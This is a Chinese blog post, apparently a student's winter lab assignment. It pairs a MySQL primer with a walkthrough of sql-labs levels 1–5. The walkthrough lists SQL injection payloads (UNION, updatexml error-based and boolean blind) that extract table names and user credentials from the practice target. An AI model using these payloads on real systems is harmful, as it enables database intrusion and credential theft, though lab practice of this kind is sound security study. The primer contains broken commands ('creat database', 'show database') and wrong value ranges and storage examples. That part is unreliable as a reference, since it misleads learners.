实验室寒假任务一

寒假任务一

一、MySQL

什么是表、列、行:

在关系数据库中,表(Table)是数据的主要组织单元。它是由一组命名的列和行组成,用于存储和组织数据。

列(Column)是表中的一个字段,用于存储特定类型的数据。每个列都有一个名称和相应的数据类型。例如,一个包含学生信息的表可以有列如"学生编号"、"姓名"和"年龄"等,其中每个列分别存储学生的唯一编号、姓名和年龄数据。

行(Row),也称为记录(Record),是表中的一个实例或一个数据行。每行由一组与该表的列相对应的值组成。例如,在上述的学生信息表中,每一行可以表示一个学生的具体信息,包括学生编号、姓名和年龄。

简单来说:

表是一个二维的数据结构,由行和列组成。 ​ 列是表中的一个字段,用于定义数据的类型和存储特定数据。 ​ 行是表中的一个记录或实例,包含一组值,每个值与相应列对应。

通过使用表、列和行的结构,数据库能够以一种结构化和有组织的方式存储和管理大量的数据。表的名称、列的定义和行的内容组成了数据库中的数据模型,提供了一种灵活和高效的方式来存储和操作数据。

什么是主键和外键:

主键(Primary Key)和外键(Foreign Key)是关系数据库中用于建立表之间关联关系的重要概念。

1.主键(Primary Key): 主键是在一个表中用于唯一标识每一行的列或一组列。它具有以下属性:

唯一性:主键的值在整个表中是唯一的,每个行必须具有不同的主键值。 ​ 非空性:主键的值不允许为空,需要保证每个行都有一个有效的主键值。 ​ 不可更改性:主键的值在表中是不可更改的,确保主键值的稳定性。 通过定义主键,可以实现数据的唯一性和快速访问。在一个表中,主键可以由一个或多个列组成,这被称为复合主键。

2.外键(Foreign Key): 外键是一个表中的列,它建立了与另一个表中主键之间的关系。通过外键,可以实现表之间的关联和引用,用于维护数据的一致性和完整性。外键具有以下特点:

引用关系:外键列引用另一个表中的主键列,用于建立表之间的关联关系。 ​ 数据一致性:外键约束可以确保在进行关联表之间的更新、插入和删除操作时,数据的一致性被维护。 ​ 完整性约束:外键约束可以限制外键列的取值范围,确保引用的主键值的有效性。 外键的使用可以保持数据的完整性,避免无效的关联以及引用不一致的数据。通过外键,可以进行表之间的连接和查询操作,从而实 现更复杂的数据检索和处理。

需要注意的是,主键和外键之间存在一种关系,即主键在一个表中定义了唯一标识,而外键在另一个表中定义了对主键的引用。这种关系使得表之间可以建立起关联,实现数据的一致性、完整性和查询连接。

什么是索引:

索引是在数据库表中创建的一种数据结构,用于加快对表中数据的检索速度。索引基于一个或多个列的值创建,类似于书中的目录,为数据库提供了快速、高效的查找方法。

1、SQL简述

1)SQL的概述

Structure Query Language(结构化查询语言)简称SQL,它被美国国家标准局(ANSI)确定为关系型数据库语言的美国标准,后被国际化标准组织(ISO)采纳为关系数据库语言的国际标准。数据库管理系统可以通过SQL管理数据库;定义和操作数据,维护数据的完整性和安全性。

2)SQL的优点

1、简单易学,具有很强的操作性 2、绝大多数重要的数据库管理系统均支持SQL 3、高度非过程化;用SQL操作数据库时大部分的工作由DBMS自动完成

3)SQL的分类

1、DDL(Data Definition Language) 数据定义语言,用来操作数据库、表、列等; 常用语句:CREATE、 ALTER、DROP 2、DML(Data Manipulation Language) 数据操作语言,用来操作数据库中表里的数据;常用语句:INSERT、 UPDATE、 DELETE 3、DCL(Data Control Language) 数据控制语言,用来操作访问权限和安全级别; 常用语句:GRANT、DENY 4、DQL(Data Query Language) 数据查询语言,用来查询数据 常用语句:SELECT

2、数据库的三大范式

1、第一范式(1NF)是指数据库表的每一列都是不可分割的基本数据线;也就是说:每列的值具有原子性,不可再分割。 2、第二范式(2NF)是在第一范式(1NF)的基础上建立起来得,满足第二范式(2NF)必须先满足第一范式(1NF)。如果表是单主键,那么主键以外的列必须完全依赖于主键;如果表是复合主键,那么主键以外的列必须完全依赖于主键,不能仅依赖主键的一部分。 3、第三范式(3NF)是在第二范式的基础上建立起来的,即满足第三范式必须要先满足第二范式。第三范式(3NF)要求:表中的非主键列必 须和主键直接相关而不能间接相关;也就是说:非主键列之间不能相关依赖。

3、数据库的数据类型

使用MySQL数据库存储数据时,不同的数据类型决定了 MySQL存储数据方式的不同。为此,MySQL数据库提供了多种数据类型,其中包括整数类型、浮点数类型、定点 数类型、日期和时间类型、字符串类型、二进制…等等数据类型。

1)整数类型

根据数值取值范围的不同MySQL 中的整数类型可分为5种,分别是TINYINT、SMALUNT、MEDIUMINT、INT和 BIGINT。下图列举了 MySQL不同整数类型所对应的字节大小和取值范围而最常用的为INT类型的。

数据类型字节数无符号数的取值范围有符号数的取值范围
TINYINT10~255-128~127
SMALLINT20~65535-32768~32768
MEDIUMINT30~16777215-8388608~8388608
INT40~4294967295-2147483648~ 2147483648
BIGINT80~18446744073709551615-9223372036854775808~9223372036854775808

2)浮点数类型和定点数类型

在MySQL数据库中使用浮点数和定点数来存储小数。浮点数的类型有两种:单精度浮点数类型(FLOAT)和双精度浮点数类型(DOUBLE)。而定点数类型只有一种即DECIMAL类型。

数据类型字节数无符号数的取值范围有符号数的取值范围
FLOAT4-3.402823466E+38~-1.175494351E-380和1.175494351E-38~3.402823466E+38
DOUBLE8-1.7976931348623157E+308~2.2250738585072014E-3080和2.2250738585072014E-308~1.7976931348623157E+308
DECIMAL(M,D)M+2-1.7976931348623157E+308~2.2250738585072014E-3080和2.2250738585072014E-308~1.7976931348623157E+308
3)字符串类型

在MySQL中常用CHAR 和 VARCHAR 表示字符串。两者不同的是:VARCHAR存储可变长度的字符串。 当数据为CHAR(M)类型时,不管插入值的长度是实际是多少它所占用的存储空间都是M个字节;而VARCHAR(M)所对应的数据所占用的字节数为实际长度加1

插入值CHAR(3)存储需求VARCHAR(3)存储需求
‘’''3个字节''1个字节
‘a’'a'3个字节'a'2个字节
'ab''ab'3个字节'ab'3个字节
'abc''ab'3个字节'abc'4个字节
'abcd''ab'3个字节'abc'4个字节
4)文本类型

文本类型用于表示大文本数据,例如,文章内容、评论、详情等,它的类型分为如下4种:

数据类型储存范围
TINYTEXT0~255字节
TEXT0~65535字节
MEDIUMTEXT0~16777215字节
LONGTEXT0~4294967295字节
5)日期与时间类型

MySQL提供的表示日期和时间的数据类型分别是 :YEAR、DATE、TIME、DATETIME 和 TIMESTAMP。下图列举了日期和时间数据类型所对应的字节数、取值范围、日期格式以及零值:

数据类型字节数取值范围日期格式零值
YEAR11901~2155YYYY0000
DATE41000-01-01~9999-12-31YYYY-MM-DD0000-00-00
TIME3-838:59:59~ 838:59:59HH:MM:SS00:00:00
DATETIME81000-01-01 00:00:00~9999-12-31 23:59:59YYYY-MM-DD HH:MM:SS0000-00-00 00:00:00
TIMESTAMP41970-01-01 00:00:01~2038-01-19 03:14:07YYYY-MM-DD HH:MM:SS0000-00-00 00:00:00

1.YEAR类型

YEAR类型用于表示年份,在MySQL中,可以使用以下三种格式指定YEAR类型 的值。 1、使用4位字符串或数字表示,范围为’1901’—'2155’或1901—2155。例如,输入 ‘2019’或2019插入到数据库中的值均为2019。 2、使用两位字符串表示,范围为’00’—‘99’。其中,‘00’—'69’范围的值会被转换为 2000—2069范围的YEAR值,‘70’—'99’范围的值会被转换为1970—1999范围的YEAR 值。例如,输入’19’插入到数据库中的值为2019。 3、使用两位数字表示,范围为1—99。其中,1—69范围的值会被转换为2001— 2069范围的YEAR值,70—99范围的值会被转换为1970—1999范围的YEAR值。例 如,输入19插入到数据库中的值为2019。 请注意:当使用YEAR类型时,一定要区分’0’和0。因为字符串格式的’0’表示的YEAR值是2000而数字格式的0表示的YEAR值是0000。

2.TIME类型

TIME类型用于表示时间值,它的显示形式一般为HH:MM:SS,其中,HH表示小时, MM表示分,SS表示秒。在MySQL中,可以使用以下3种格式指定TIME类型的值。 1、以’D HH:MM:SS’字符串格式表示。其中,D表示日可取0—34之间的值, 插入数据时,小时的值等于(DX24+HH)。例如,输入’2 11:30:50’插入数据库中的日期为59:30:50。 2、以’HHMMSS’字符串格式或者HHMMSS数字格式表示。 例如,输入’115454’或115454,插入数据库中的日期为11:54:54 3、使用CURRENT_TIME或NOW()输入当前系统时间。

3.DATETIME类型

DATETIME类型用于表示日期和时间,它的显示形式为’YYYY-MM-DD HH: MM:SS’,其中,YYYY表示年,MM表示月,DD表示日,HH表示小时,MM表示分,SS 表示秒。在MySQL中,可以使用以下4种格式指定DATETIME类型的值。 以’YYYY-MM-DD HH:MM:SS’或者’YYYYMMDDHHMMSS’字符串格式表示的日期和时间,取值范围为’1000-01-01 00:00:00’—‘9999-12-3 23:59:59’。例如,输入’2019-01-22 09:01:23’或 ‘20140122_0_90123’插入数据库中的 DATETIME 值都为 2019-01-22 09:01:23。 1、以’YY-MM-DD HH:MM:SS’或者’YYMMDDHHMMSS’字符串格式表示的日期和时间,其中YY表示年,取值范围为’00’—‘99’。与DATE类型中的YY相同,‘00’— '69’范围的值会被转换为2000—2069范围的值,‘70’—'99’范围的值会被转换为1970—1999范围的值。 2、以YYYYMMDDHHMMSS或者YYMMDDHHMMSS数字格式表示的日期 和时间。例如,插入20190122090123或者190122090123,插入数据库中的DATETIME值都 为 2019-01-22 09:01:23。 3、使用NOW来输入当前系统的日期和时间。

4.TIMESTAMP类型

TIMESTAMP类型用于表示日期和时间,它的显示形式与DATETIME相同但取值范围比DATETIME小。在此,介绍几种TIMESTAMP类型与DATATIME类型不同的形式: 1、使用CURRENT_TIMESTAMP输入系统当前日期和时间。 2、输入NULL时系统会输入系统当前日期和时间。 3、无任何输入时系统会输入系统当前日期和时间。

6)二进制类型

在MySQL中常用BLOB存储二进制类型的数据,例如:图片、PDF文档等。BLOB类型分为如下四种:

数据类型储存范围
TINYBLOB0~255字节
BLOB0~65535字节
MEDIUMBLOB0~16777215字节
LONGBLOB0~4294967295字节

4、数据库、数据表的基本操作

1)数据库的基本操作

创建一个数据库:

creat database 数据库名称;

创建数据库后查看该数据库基本信息:

show creat database 数据库名称;

删除数据库:

drop database 数据库名称;

查询出MySQL中所有的数据库:

show database;

将数据库的字符集修改为gbk:

alter database 数据库名称 character set gbk;

切换数据库:

use 数据库名称;

查看当前使用的数据库:

select database();
2)数据表的基本操作

创建数据表:

creat table 表名(
       字段1 字段类型,
       字段2 字段类型,
       ...
       字段n 字段类型
);

如:创建学生表

create table student(
id int,
name varchar(20),
gender varchar(10),
birthday date
);

查看当前数据库中所有表:

show tables;

查表的基本信息:

show creat table 表名;

查看表的字段信息:

desc 表名;

修改表名:

alter table 表名 rename to 新表名;

删除数据表:

drop table 表名;

四、增删改查

C:Create  增加
​
U:Update 修改
​
R:Retrieve 查询
​
D:Delete 删除
1)新增数据

例:创建一个学生表(有学号和姓名) ,然后新增两条记录

先选中在操作哪个数据库,然后在该数据库中进行操作.

创建学生表:

create table student(id int,name varchar(20));

id (列名) 代表学号, int 表示id的类型是整型.

name(列名) 代表姓名 , varchar(20) 表示name的类型是字符串,说明这个列最多可以存储20个字符,但是不是说写了20,就固定分配这么多内存,会动态适应,但是不会超过20个字符.

基本语法:

insert into 表名 values (值,值,值,……);
​
insert into 表名 values (值,值),(值,值),(值,值)……;
​
insert into 表名(列名,列名,……) values(值,值,……);
2)查询数据
a.全列查询

基本语法

select * from 表名;

这里的'*'叫做通配符,代表了所有的列

b.指定列查询

基本语法

select 列名 from 表名;
c.带表达式的查询

基本语法

 select 表达式 from 表名;
d.带别名的查询

(该查询操作也就是给查询结果的列,起一个别名)

基本语法

select 列名/表达式  as 别名 from 表名
e.去重查询

(查询的时候,针对列进行去重(把有重复的记录,给合并成一个))

基本语法

select distinct 列名 from 表名;
f.排序

基本语法

select 列名 from 表名  order by 列名/表达式/别名 asc/desc
g.条件查询

基本语法

select 列名/表达式 from 表名 where 条件
3)修改数据

基本语法

update 表名 set 列名= 值 where 条件;
4)删除数据

基本语法

delete from 表名 where 条件;

二、sql-labs

1)less-1

本题提示你输入数字值的ID作为参数,我们输入?id=1,?id=2进行尝试。发现两次所返回的内容不同,说明输入的内容被带入到数据库中查询了。

接下来我们输入?id=1 and 1=2这样一个错误的指令,发现界面没有返回报错,这说明我们and 1=2这句话没有被当成一段sql指令,我们由此可以尝试一下闭合

输入?id=1' and 1=2 -- a 发现页面异常了,这就说明我们的尝试是正确的,也说明这个地方存在着sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

首先输入order by 进行列数的判断。我们发现order by 3时正常,order by 4时页面报错,这就说明总共有三列。

?id=1 order by 3 -- a

接下来我们输入 union select 1,2,3来判断页面的显错位是什么。

结果发现页面没有变化,这是因为我们前面的id输入为1,这是可以正常显示的,正常显示的页面覆盖了显错位,因此我们只要让id输入错误即可。这里输入?id=-1。可以看到是第二列和第三列里面的数据是显示在页面的。

接下来我们只要将两个显错位的内容改为特定的函数,便可以知道数据库名称和版本等信息了。

?id=-1 union select 1,database(),version() -- a

判断表名:?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema = 'security' -- a
​
判断列名:?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name = 'emails' -- a
​
判断数据:?id=-1' union select 1,id,3 from emails -- a

我们也可以使用该指令进行查询,该指令可以将查询结果连接起来一起显示。但要注意的是,有时候查询结果太长可能有部分内容无法显示,所以建议尽量按上面的指令加limt挨个查询。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' -- a 

2)less-2

第二关与第一关类似,就不做演示了。

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
 
 
?id=1 order by 3
​
?id=-1 union select 1,2,3
​
?id=-1 union select 1,database(),version()
​
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
​
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
​
?id=-1 union select 1,2,group_concat(username ,id , password) from users
​

3)less-3

我们先尝试输入?id=1',结果发现和前两关不一样,这一次报错了。查看报错信息,可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

所以我们输入该指令得到了正确的返回信息。

?id=2') -- a

当然,我们也可以打开靶场的源代码来进行分析。

在22行中,接收一个id值,在31行中id是由('')封闭的,所以可以判断出是由单引号加括号的封闭。

?id=2')--+
​
?id=1') order by 3--+
​
?id=-1') union select 1,2,3--+
​
?id=-1') union select 1,database(),version()--+
​
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
​
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
​
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
​
4)less-4

和第三题同理,这次是双引号加括号的封闭。

虽然在29行中id是由括号封闭的,但注意28行$id='"',说明id本身就应有双引号,所以本题是双引号加括号的封闭。

?id=1") order by 3--+
​
?id=-1") union select 1,2,3--+
​
?id=-1") union select 1,database(),version()--+
​
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
​
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
​
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
​
5)less-5

本题看似与前四题一样,都是字符型闭合的sql注入,但当我们进行联合注入的时候,我们会发现页面没有显错位了。这时我们就可以选择进行布尔盲注或updatexml报错注入来解决。

1.updatexml报错注入
语法: updatexml(目标xml内容,xml文档路径,更新的内容)
如:updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入流程规则而报错了。
但是报错的同时它其实已经也执行了子查询代码!
所以页面最后会显示报错,但报错的内容里有我们子查询得到的正确的内容。
[0x7e实际上是16进制,MySQL支持16进制,但是开头得写0x  0x7e这种特殊符号,然后不符合规则报错。0x7e实际上就是~,也就是说最后页面报错的内容中两个~中的内容便是子查询所得到的正确的内容]

如图,库名即为security

判断库名: ?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- a
​
判断表名: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit0,1),0x7e),1) -- a
​
判断列名: ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit0,1),0x7e),1) -- a
​
判断数据: ?id=1' and updatexml(1,concat(0x7e,(select id from emails limit0,1),0x7e),1) -- a 
2.布尔盲注

布尔盲注主要用到length(),ascii() ,substr()这三个函数。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
​
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
​
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
​
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
  
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
​
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
​

三、SWPUCTF

这道题很简单,就是常规的sql注入查询数据库。

内容来源:MySQL增删改查(万字详解 基础+进阶)-CSDN博客

MySQL 有这一篇就够(呕心狂敲37k字,只为博君一点赞!!!)_mysql 有这一篇就够(呕心狂敲37k字,只为博君一点赞!!!)-CSDN博客

  • 16
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值